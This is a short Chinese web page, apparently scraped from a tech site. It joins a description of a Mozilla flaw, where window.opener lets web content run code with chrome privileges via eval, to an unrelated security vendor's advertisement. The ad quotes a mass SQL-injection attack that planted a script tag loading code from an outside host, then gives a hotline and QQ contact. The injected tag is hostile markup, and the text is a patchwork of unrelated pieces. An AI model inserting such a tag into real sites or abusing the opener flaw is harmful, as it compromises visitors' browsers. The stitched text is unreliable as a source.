chrome窗口所打开的内容窗口通过window.opener属性保持对chrome窗口的引用。使用这个引用，新窗口中的内容就可以访问chrome窗口中的函数，如eval，并使用这些函数以chrome权限执行任意JavaScript代码。在常见的Mozilla浏览器中攻击者无法导致出现这些应用对话框，也无法利用这个漏洞自动加载攻击代码，但有些附加组件可能以这种方式打开恶意的Web内容。
近日,Mdcsoft Security Team接到好多求救电话,12.18凌晨2点,广东某银行网络负责人致电mdcsoft寻求帮助, 最近很多站的数据库里被插入,代码： <script src=http://7o8.net></script>
SQL注入解决方案-网站遭挂马解决方案 Mdcsoft-ips软件 防御在入侵那一刻！在您遇到安全威胁时候请第一时间呼叫 Mdcsoft网络安全应急中心热线：4000680110 QQ: 1164469168获得帮助。Mdcsoft-ips 入侵防御系统SQL注入版V5支持LINUX，WINDOWS，更多介绍见：http://blog.mdcsoft.cn/archives/2008
Copyright © 2005-2025 51CTO.COM 版权所有 京ICP证060544号
